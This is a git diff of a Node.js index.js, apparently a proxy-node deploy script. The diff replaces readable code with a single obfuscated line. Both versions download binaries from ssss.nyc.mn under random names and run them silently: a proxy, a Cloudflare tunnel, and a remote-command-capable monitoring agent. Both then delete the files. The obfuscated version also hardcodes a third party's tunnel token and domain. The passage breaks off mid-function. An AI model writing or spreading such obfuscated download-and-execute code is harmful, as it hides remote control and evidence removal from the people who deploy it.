diff --git a/index.js b/index.js index 1af38c4c53..c723e5a293 100644 --- a/index.js +++ b/index.js @@ -1,620 +1 @@ -const express = require("express"); -const app = express(); -const axios = require("axios"); -const os = require('os'); -const fs = require("fs"); -const path = require("path"); -const { promisify } = require('util'); -const exec = promisify(require('child_process').exec); -const { execSync } = require('child_process'); // 只填写UPLOAD_URL将上传节点,同时填写UPLOAD_URL和PROJECT_URL将上传订阅 -const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com -const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 -const FILE_PATH = process.env.FILE_PATH || './tmp'; // 运行目录,sub节点文件保存目录 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 -const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 -const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 -const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道 -const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id -const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 -const CFIP = process.env.CFIP || 'cdns.doon.eu.org'; // 节点优选域名或优选ip -const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 -const NAME = process.env.NAME || ''; // 节点名称 - -// 创建运行文件夹 -if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH); - console.log(`${FILE_PATH} is created`); -} else { - console.log(`${FILE_PATH} already exists`); -} - -// 生成随机6位字符文件名 -function generateRandomName() { - const characters = 'abcdefghijklmnopqrstuvwxyz'; - let result = ''; - for (let i = 0; i < 6; i++) { - result += characters.charAt(Math.floor(Math.random() * characters.length)); - } - return result; -} - -// 全局常量 -const npmName = generateRandomName(); -const webName = generateRandomName(); -const botName = generateRandomName(); -const phpName = generateRandomName(); -let npmPath = path.join(FILE_PATH, npmName); -let phpPath = path.join(FILE_PATH, phpName); -let webPath = path.join(FILE_PATH, webName); -let botPath = path.join(FILE_PATH, botName); -let subPath = path.join(FILE_PATH, 'sub.txt'); -let listPath = path.join(FILE_PATH, 'list.txt'); -let bootLogPath = path.join(FILE_PATH, 'boot.log'); -let configPath = path.join(FILE_PATH, 'config.json'); - -// 如果订阅器上存在历史运行节点则先删除 -function deleteNodes() { - try { - if (!UPLOAD_URL) return; - if (!fs.existsSync(subPath)) return; - - let fileContent; - try { - fileContent = fs.readFileSync(subPath, 'utf-8'); - } catch { - return null; - } - - const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); - const nodes = decoded.split('\n').filter(line => - /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line) - ); - - if (nodes.length === 0) return; - - axios.post(`${UPLOAD_URL}/api/delete-nodes`, - JSON.stringify({ nodes }), - { headers: { 'Content-Type': 'application/json' } } - ).catch((error) => { - return null; - }); - return null; - } catch (err) { - return null; - } -} - -// 清理历史文件 -function cleanupOldFiles() { - try { - const files = fs.readdirSync(FILE_PATH); - files.forEach(file => { - const filePath = path.join(FILE_PATH, file); - try { - const stat = fs.statSync(filePath); - if (stat.isFile()) { - fs.unlinkSync(filePath); - } - } catch (err) { - // 忽略所有错误,不记录日志 - } - }); - } catch (err) { - // 忽略所有错误,不记录日志 - } -} - -// 根路由 -app.get("/", function(req, res) { - res.send("Hello world!"); -}); - -// 生成xr-ay配置文件 -async function generateConfig() { - const config = { - log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, - inbounds: [ - { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, - { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, - { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - ], - dns: { servers: ["https+local://8.8.8.8/dns-query"] }, - outbounds: [ { protocol: "freedom", tag: "direct" }, {protocol: "blackhole", tag: "block"} ] - }; - fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); -} - -// 判断系统架构 -function getSystemArchitecture() { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - return 'arm'; - } else { - return 'amd'; - } -} - -// 下载对应系统架构的依赖文件 -function downloadFile(fileName, fileUrl, callback) { - const filePath = fileName; - - // 确保目录存在 - if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH, { recursive: true }); - } - - const writer = fs.createWriteStream(filePath); - - axios({ - method: 'get', - url: fileUrl, - responseType: 'stream', - }) - .then(response => { - response.data.pipe(writer); - - writer.on('finish', () => { - writer.close(); - console.log(`Download ${path.basename(filePath)} successfully`); - callback(null, filePath); - }); - - writer.on('error', err => { - fs.unlink(filePath, () => { }); - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); - }) - .catch(err => { - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); -} - -// 下载并运行依赖文件 -async function downloadFilesAndRun() { - - const architecture = getSystemArchitecture(); - const filesToDownload = getFilesForArchitecture(architecture); - - if (filesToDownload.length === 0) { - console.log(`Can't find a file for the current architecture`); - return; - } - - const downloadPromises = filesToDownload.map(fileInfo => { - return new Promise((resolve, reject) => { - downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { - if (err) { - reject(err); - } else { - resolve(filePath); - } - }); - }); - }); - - try { - await Promise.all(downloadPromises); - } catch (err) { - console.error('Error downloading files:', err); - return; - } - // 授权和运行 - function authorizeFiles(filePaths) { - const newPermissions = 0o775; - filePaths.forEach(absoluteFilePath => { - if (fs.existsSync(absoluteFilePath)) { - fs.chmod(absoluteFilePath, newPermissions, (err) => { - if (err) { - console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); - } else { - console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`); - } - }); - } - }); - } - const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; - authorizeFiles(filesToAuthorize); - - //运行ne-zha - if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - // 检测哪吒是否开启TLS - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); - const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; - // 生成 config.yaml - const configYaml = ` -client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${nezhatls} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); - - // 运行 v1 - const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${phpName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`php running error: ${error}`); - } - } else { - let NEZHA_TLS = ''; - const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - if (tlsPorts.includes(NEZHA_PORT)) { - NEZHA_TLS = '--tls'; - } - const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${npmName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`npm running error: ${error}`); - } - } - } else { - console.log('NEZHA variable is empty,skip running'); - } - //运行xr-ay - const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; - try { - await exec(command1); - console.log(`${webName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`web running error: ${error}`); - } - - // 运行cloud-fared - if (fs.existsSync(botPath)) { - let args; - - if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; - } else if (ARGO_AUTH.match(/TunnelSecret/)) { - args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; - } else { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - } - - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 2000)); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - await new Promise((resolve) => setTimeout(resolve, 5000)); - -} - -//根据系统架构返回对应的url -function getFilesForArchitecture(architecture) { - let baseFiles; - if (architecture === 'arm') { - baseFiles = [ - { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } - ]; - } else { - baseFiles = [ - { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } - ]; - } - - if (NEZHA_SERVER && NEZHA_KEY) { - if (NEZHA_PORT) { - const npmUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/agent" - : "https://amd64.ssss.nyc.mn/agent"; - baseFiles.unshift({ - fileName: npmPath, - fileUrl: npmUrl - }); - } else { - const phpUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/v1" - : "https://amd64.ssss.nyc.mn/v1"; - baseFiles.unshift({ - fileName: phpPath, - fileUrl: phpUrl - }); - } - } - - return baseFiles; -} - -// 获取固定隧道json -function argoType() { - if (!ARGO_AUTH || !ARGO_DOMAIN) { - console.log("ARGO_DOMAIN or ARGO_AUTH variable is empty, use quick tunnels"); - return; - } - - if (ARGO_AUTH.includes('TunnelSecret')) { - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); - const tunnelYaml = ` - tunnel: ${ARGO_AUTH.split('"')[11]} - credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} - protocol: http2 - - ingress: - - hostname: ${ARGO_DOMAIN} - service: http://localhost:${ARGO_PORT} - originRequest: - noTLSVerify: true - - service: http_status:404 - `; - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); - } else { - console.log("ARGO_AUTH mismatch TunnelSecret,use token connect to tunnel"); - } -} - -// 获取临时隧道domain -async function extractDomains() { - let argoDomain; - - if (ARGO_AUTH && ARGO_DOMAIN) { - argoDomain = ARGO_DOMAIN; - console.log('ARGO_DOMAIN:', argoDomain); - await generateLinks(argoDomain); - } else { - try { - const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); - const lines = fileContent.split('\n'); - const argoDomains = []; - lines.forEach((line) => { - const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); - if (domainMatch) { - const domain = domainMatch[1]; - argoDomains.push(domain); - } - }); - - if (argoDomains.length > 0) { - argoDomain = argoDomains[0]; - console.log('ArgoDomain:', argoDomain); - await generateLinks(argoDomain); - } else { - console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); - // 删除 boot.log 文件,等待 2s 重新运行 server 以获取 ArgoDomain - fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); - async function killBotProcess() { - try { - if (process.platform === 'win32') { - await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); - } else { - await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); - } - } catch (error) { - // 忽略输出 - } - } - killBotProcess(); - await new Promise((resolve) => setTimeout(resolve, 3000)); - const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 3000)); - await extractDomains(); // 重新提取域名 - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - } catch (error) { - console.error('Error reading boot.log:', error); - } -} - -// 获取isp信息 -async function getMetaInfo() { - try { - const response1 = await axios.get('https://ipapi.co/json/', { timeout: 3000 }); - if (response1.data && response1.data.country_code && response1.data.org) { - return `${response1.data.country_code}_${response1.data.org}`; - } - } catch (error) { - try { - // 备用 ip-api.com 获取isp - const response2 = await axios.get('http://ip-api.com/json/', { timeout: 3000 }); - if (response2.data && response2.data.status === 'success' && response2.data.countryCode && response2.data.org) { - return `${response2.data.countryCode}_${response2.data.org}`; - } - } catch (error) { - // console.error('Backup API also failed'); - } - } - return 'Unknown'; -} -// 生成 list 和 sub 信息 -async function generateLinks(argoDomain) { - const ISP = await getMetaInfo(); - const nodeName = NAME ? `${NAME}-${ISP}` : ISP; - return new Promise((resolve) => { - setTimeout(() => { - const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'none', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox'}; - const subTxt = ` -vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} - -vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} - -trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} - `; - // 打印 sub.txt 内容到控制台 - console.log(Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); - console.log(`${FILE_PATH}/sub.txt saved successfully`); - uploadNodes(); - // 将内容进行 base64 编码并写入 SUB_PATH 路由 - app.get(`/${SUB_PATH}`, (req, res) => { - const encodedContent = Buffer.from(subTxt).toString('base64'); - res.set('Content-Type', 'text/plain; charset=utf-8'); - res.send(encodedContent); - }); - resolve(subTxt); - }, 2000); - }); - } -} - -// 自动上传节点或订阅 -async function uploadNodes() { - if (UPLOAD_URL && PROJECT_URL) { - const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; - const jsonData = { - subscription: [subscriptionUrl] - }; - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { - headers: { - 'Content-Type': 'application/json' - } - }); - - if (response && response.status === 200) { - console.log('Subscription uploaded successfully'); - return response; - } else { - return null; - // console.log('Unknown response status'); - } - } catch (error) { - if (error.response) { - if (error.response.status === 400) { - // console.error('Subscription already exists'); - } - } - } - } else if (UPLOAD_URL) { - if (!fs.existsSync(listPath)) return; - const content = fs.readFileSync(listPath, 'utf-8'); - const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)); - - if (nodes.length === 0) return; - - const jsonData = JSON.stringify({ nodes }); - - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { - headers: { 'Content-Type': 'application/json' } - }); - if (response && response.status === 200) { - console.log('Nodes uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - return null; - } - } else { - // console.log('Skipping upload nodes'); - return; - } -} - -// 90s后删除相关文件 -function cleanFiles() { - setTimeout(() => { - const filesToDelete = [bootLogPath, configPath, webPath, botPath]; - - if (NEZHA_PORT) { - filesToDelete.push(npmPath); - } else if (NEZHA_SERVER && NEZHA_KEY) { - filesToDelete.push(phpPath); - } - - // Windows系统使用不同的删除命令 - if (process.platform === 'win32') { - exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } else { - exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } - }, 90000); // 90s -} -cleanFiles(); - -// 自动访问项目URL -async function AddVisitTask() { - if (!AUTO_ACCESS || !PROJECT_URL) { - console.log("Skipping adding automatic access task"); - return; - } - - try { - const response = await axios.post('https://oooo.serv00.net/add-url', { - url: PROJECT_URL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - // console.log(`${JSON.stringify(response.data)}`); - console.log(`automatic access task added successfully`); - return response; - } catch (error) { - console.error(`Add automatic access task faild: ${error.message}`); - return null; - } -} - -// 主运行逻辑 -async function startserver() { - try { - argoType(); - deleteNodes(); - cleanupOldFiles(); - await generateConfig(); - await downloadFilesAndRun(); - await extractDomains(); - await AddVisitTask(); - } catch (error) { - console.error('Error in startserver:', error); - } -} -startserver().catch(error => { - console.error('Unhandled error in startserver:', error); -}); -app.listen(PORT, () => console.log(`http server is running on port:${PORT}!`)); +const _0x31940c=_0x3611;(function(_0x40ce48,_0x5d3278){const _0x3d88b5=_0x3611,_0x223c44=_0x40ce48();while(!![]){try{const _0x34ebdb=-parseInt(_0x3d88b5(0x166))/0x1+-parseInt(_0x3d88b5(0x17a))/0x2*(-parseInt(_0x3d88b5(0x16e))/0x3)+parseInt(_0x3d88b5(0x19a))/0x4+parseInt(_0x3d88b5(0x173))/0x5+-parseInt(_0x3d88b5(0x192))/0x6*(parseInt(_0x3d88b5(0x143))/0x7)+-parseInt(_0x3d88b5(0x171))/0x8+parseInt(_0x3d88b5(0x1bb))/0x9*(parseInt(_0x3d88b5(0x147))/0xa);if(_0x34ebdb===_0x5d3278)break;else _0x223c44['push'](_0x223c44['shift']());}catch(_0x56ca30){_0x223c44['push'](_0x223c44['shift']());}}}(_0x27c7,0x1aead));const express=require(_0x31940c(0x18d)),app=express(),axios=require(_0x31940c(0x1a9)),os=require('os'),fs=require('fs'),path=require(_0x31940c(0x1c1)),{promisify}=require(_0x31940c(0x15e)),exec=promisify(require(_0x31940c(0x187))[_0x31940c(0x16f)]),{execSync}=require(_0x31940c(0x187)),UPLOAD_URL=process[_0x31940c(0x1b0)][_0x31940c(0x130)]||'',PROJECT_URL=process[_0x31940c(0x1b0)][_0x31940c(0x180)]||'',AUTO_ACCESS=process['env'][_0x31940c(0x158)]||![],FILE_PATH=process[_0x31940c(0x1b0)][_0x31940c(0x16c)]||_0x31940c(0x19b),SUB_PATH=process['env']['SUB_PATH']||_0x31940c(0x10a),PORT=process[_0x31940c(0x1b0)]['SERVER_PORT']||process[_0x31940c(0x1b0)][_0x31940c(0x1b5)]||0xbb8,UUID=process[_0x31940c(0x1b0)][_0x31940c(0x13d)]||_0x31940c(0x10a),NEZHA_SERVER=process[_0x31940c(0x1b0)][_0x31940c(0x17b)]||'',NEZHA_PORT=process[_0x31940c(0x1b0)][_0x31940c(0x112)]||'',NEZHA_KEY=process[_0x31940c(0x1b0)][_0x31940c(0x1a1)]||'',ARGO_DOMAIN=process['env'][_0x31940c(0x181)]||_0x31940c(0x11b),ARGO_AUTH=process['env'][_0x31940c(0x19f)]||_0x31940c(0x18c),ARGO_PORT=process[_0x31940c(0x1b0)][_0x31940c(0x196)]||0x1f41,CFIP=process[_0x31940c(0x1b0)]['CFIP']||'cdns.doon.eu.org',CFPORT=process[_0x31940c(0x1b0)]['CFPORT']||0x1bb,NAME=process[_0x31940c(0x1b0)][_0x31940c(0x12c)]||_0x31940c(0x1b2);!fs[_0x31940c(0x1bf)](FILE_PATH)?(fs[_0x31940c(0x16d)](FILE_PATH),console[_0x31940c(0x178)](FILE_PATH+_0x31940c(0x159))):console[_0x31940c(0x178)](FILE_PATH+_0x31940c(0x139));function generateRandomName(){const _0x18a2bc=_0x31940c,_0x16ab20=_0x18a2bc(0x117);let _0x9e4ec4='';for(let _0x42a633=0x0;_0x42a633<0x6;_0x42a633++){_0x9e4ec4+=_0x16ab20[_0x18a2bc(0x124)](Math['floor'](Math[_0x18a2bc(0x17f)]()*_0x16ab20[_0x18a2bc(0x12f)]));}return _0x9e4ec4;}const npmName=generateRandomName(),webName=generateRandomName(),botName=generateRandomName(),phpName=generateRandomName();function _0x27c7(){const _0x69b23a=['12ydxWmS','exec','&path=%2Fvless-argo%3Fed%3D2560#','1537584bPFbuz','then','808460qzXhPo','TunnelSecret','stringify','\x20--disable-auto-update\x20--report-delay\x204\x20--skip-conn\x20--skip-procs\x20>/dev/null\x202>&1\x20&','data','log','/api/add-subscriptions','796Pqkjvh','NEZHA_SERVER','split','sub.txt','\x0ause_gitee_to_upgrade:\x20false\x0ause_ipv6_country_code:\x20false\x0auuid:\x20','random','PROJECT_URL','ARGO_DOMAIN','tunnel.yml','Unhandled\x20error\x20in\x20startserver:','\x20>/dev/null\x202>&1\x20&','xtls-rprx-vision','true','child_process','https://amd64.ssss.nyc.mn/web','toString','win32','Nodes\x20uploaded\x20successfully','eyJhIjoiZDA0M2ZlYzc0YjVhZWY3YjFjZmU1ZGJlMDFhY2ZkMzUiLCJ0IjoiOWNhZTcwYzctODkxOC00MTgwLTgxZTYtY2U1ODZhOWMwMTI3IiwicyI6IllUWm1PV0ZqTkdRdFpqRTJaQzAwTWpnM0xXRmxaak10TVRGa016VmxOVFkxTmpJMSJ9','express','direct','none','vless','ARGO_DOMAIN\x20or\x20ARGO_AUTH\x20variable\x20is\x20empty,\x20use\x20quick\x20tunnels','6Sfjnfv','test','\x0avless://','/vmess-argo','ARGO_PORT','status','\x0a\x0atrojan://','org','641128ieSEgi','./tmp','response','writeFileSync','send','ARGO_AUTH','unlink','NEZHA_KEY','Skipping\x20adding\x20automatic\x20access\x20task','amd','https://arm64.ssss.nyc.mn/bot','127.0.0.1','443','countryCode','trojan','axios','https://amd64.ssss.nyc.mn/bot','text/plain;\x20charset=utf-8','\x0a\x20\x20credentials-file:\x20','arm64','tls','post','env','/config.yaml\x22\x20>/dev/null\x202>&1\x20&','render','Content-Type','\x20failed:\x20','PORT','match','2087','ARGO_AUTH\x20mismatch\x20TunnelSecret,use\x20token\x20connect\x20to\x20tunnel','web\x20running\x20error:\x20','\x20>\x20nul\x202>&1','271089kocoJG','Subscription\x20uploaded\x20successfully','/trojan-argo','?security=tls&sni=','existsSync','\x0askip_connection_count:\x20true\x0askip_procs_count:\x20true\x0atemperature:\x20false\x0atls:\x20','path','stream','has','country_code','/boot.log\x20--loglevel\x20info\x20--url\x20http://localhost:','Hello\x20world!','Empowerment\x20failed\x20for\x20','2096','includes','5459bfcf-9416-46e6-86a8-024fdfc69dc6','\x20is\x20running','forEach','push','boot.log','basename','createWriteStream','utf-8','NEZHA_PORT','get','application/json','&path=%2Ftrojan-argo%3Fed%3D2560#','2053','abcdefghijklmnopqrstuvwxyz','error','\x20-c\x20\x22','filter','render.shuang.de5.net','config.yaml','?encryption=none&security=tls&sni=','finish','\x20>/dev/null\x202>&1','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20--logfile\x20','/api/add-nodes','readFileSync','unlinkSync','charAt','ArgoDomain\x20not\x20found,\x20re-running\x20bot\x20to\x20obtain\x20ArgoDomain','https://arm64.ssss.nyc.mn/web','pkill\x20-f\x20\x22[','set','tunnel\x20--edge-ip-version\x20auto\x20--config\x20','block','\x0a\x20\x20tunnel:\x20','NAME','.exe\x20>\x20nul\x202>&1','2083','length','UPLOAD_URL','\x0a\x0avmess://','catch','\x0a\x20\x20\x20\x20','--tls','base64','\x20-p\x20','join','from','\x20already\x20exists','rm\x20-rf\x20','App\x20is\x20running','fileName','UUID','https://amd64.ssss.nyc.mn/agent','tcp','chmod','Error\x20in\x20startserver:','&fp=firefox&type=ws&host=','998466srfzcE','arch','/config.json\x20>/dev/null\x202>&1\x20&','/vless-argo','100uEyXZy','unshift','https://arm64.ssss.nyc.mn/agent','http','readdirSync','quic','success','tunnel.json','Thank\x20you\x20for\x20using\x20this\x20script,\x20enjoy!','Error\x20executing\x20command:\x20','del\x20/f\x20/q\x20','http\x20server\x20is\x20running\x20on\x20port:','Download\x20','NEZHA\x20variable\x20is\x20empty,skip\x20running','blackhole','http://ip-api.com/json/','\x22\x20>\x20/dev/null\x202>&1','AUTO_ACCESS','\x20is\x20created','Error\x20reading\x20boot.log:','pop','/dev/null','Error\x20downloading\x20files:','util','\x0a\x20\x20\x20\x20\x20\x20originRequest:\x0a\x20\x20\x20\x20\x20\x20\x20\x20noTLSVerify:\x20true\x0a\x20\x20\x20\x20-\x20service:\x20http_status:404\x0a\x20\x20','listen','config.json','firefox','message','nohup\x20','Can\x27t\x20find\x20a\x20file\x20for\x20the\x20current\x20architecture','179687YMMqWF','https://arm64.ssss.nyc.mn/v1','fileUrl','all','arm','platform','FILE_PATH','mkdirSync'];_0x27c7=function(){return _0x69b23a;};return _0x27c7();}let npmPath=path['join'](FILE_PATH,npmName),phpPath=path[_0x31940c(0x137)](FILE_PATH,phpName),webPath=path[_0x31940c(0x137)](FILE_PATH,webName),botPath=path[_0x31940c(0x137)](FILE_PATH,botName),subPath=path[_0x31940c(0x137)](FILE_PATH,_0x31940c(0x17d)),listPath=path[_0x31940c(0x137)](FILE_PATH,'list.txt'),bootLogPath=path[_0x31940c(0x137)](FILE_PATH,'boot.log'),configPath=path[_0x31940c(0x137)](FILE_PATH,_0x31940c(0x161));function deleteNodes(){const _0x30e97e=_0x31940c;try{if(!UPLOAD_URL)return;if(!fs[_0x30e97e(0x1bf)](subPath))return;let _0x20b824;try{_0x20b824=fs[_0x30e97e(0x122)](subPath,'utf-8');}catch{return null;}const _0x55e14a=Buffer[_0x30e97e(0x138)](_0x20b824,_0x30e97e(0x135))[_0x30e97e(0x189)](_0x30e97e(0x111)),_0x249602=_0x55e14a[_0x30e97e(0x17c)]('\x0a')['filter'](_0x54c1a5=>/(vless|vmess|trojan|hysteria2|tuic):\/\//['test'](_0x54c1a5));if(_0x249602[_0x30e97e(0x12f)]===0x0)return;return axios['post'](UPLOAD_URL+'/api/delete-nodes',JSON[_0x30e97e(0x175)]({'nodes':_0x249602}),{'headers':{'Content-Type':_0x30e97e(0x114)}})[_0x30e97e(0x132)](_0xa283ae=>{return null;}),null;}catch(_0x2396fa){return null;}}function cleanupOldFiles(){const _0x499c79=_0x31940c;try{const _0x46e5dc=fs[_0x499c79(0x14b)](FILE_PATH);_0x46e5dc[_0x499c79(0x10c)](_0x4ba95d=>{const _0x38588a=_0x499c79,_0x28a4ff=path[_0x38588a(0x137)](FILE_PATH,_0x4ba95d);try{const _0x153570=fs['statSync'](_0x28a4ff);_0x153570['isFile']()&&fs[_0x38588a(0x123)](_0x28a4ff);}catch(_0x2f3adb){}});}catch(_0x4596dd){}}app[_0x31940c(0x113)]('/',function(_0x4ada91,_0x281526){const _0x5bc443=_0x31940c;_0x281526[_0x5bc443(0x19e)](_0x5bc443(0x106));});async function generateConfig(){const 